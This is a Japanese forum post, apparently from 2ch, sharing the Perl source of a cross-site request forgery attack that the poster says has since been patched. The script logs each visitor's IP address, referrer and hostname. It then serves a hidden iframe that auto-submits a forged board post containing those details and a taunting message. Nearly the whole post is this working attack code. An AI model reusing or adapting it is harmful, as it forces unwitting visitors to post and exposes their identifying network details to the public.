12/05/07 19:34:54.27 aGrnPXNc0 BE:1811103293-PLT(12000)
sssp://img.2ch.net/ico/mazu.gif
びんたんのCSRFが対策されたのでソース貼っておくか
#!/usr/local/bin/perl
use strict;
my $ADDR = $ENV{REMOTE_ADDR};
my $REF = $ENV{HTTP_REFERER};
my $HOST = gethostbyaddr(pack('C4', split(/\./, $ADDR)), 2) || $ADDR;
my $key = "1336206209"; #スレキー
my $TIME = time;
print "Content-Type: text/html\n\n";
print <<EOL;
<iframe src="URLﾘﾝｸ(cheese.ula.cc)
bbs%20value=net%3E%3Cinput%20name=time%20value=$TIME%3E%3Cinput%20name=key%20value=$key%3E%3Cinput%20name=yuki%20value=akari%3E%3Cinput%20name=FROM%20value=fusianasan%3
E%3cinput%20name%3dmail%20value%3d%3e%3Ctextarea%20name=MESSAGE%3E%83S%83%7e%83A%83%93%83%60%82%cc%8e%a9%8eE%82%cd%82%dc%82%be%82%c5%82%b7%82%a9%81%60%81%60%81%60%81%60
%81%60%81%60%81H%81H%81H%81H%81H%81H%81H%0d%0a%90%bc%83m%8b%7b%20%81%9fWfo7Kpppz2%82%e6%82%e8%0d%0a%0d%0a$ADDR $REF $HOST%3C/textarea%3E%3Cinput%20type=submit%3E%3Cscri
pt%3Edocument.hage.submit();%3C/script%3E">
EOL
exit;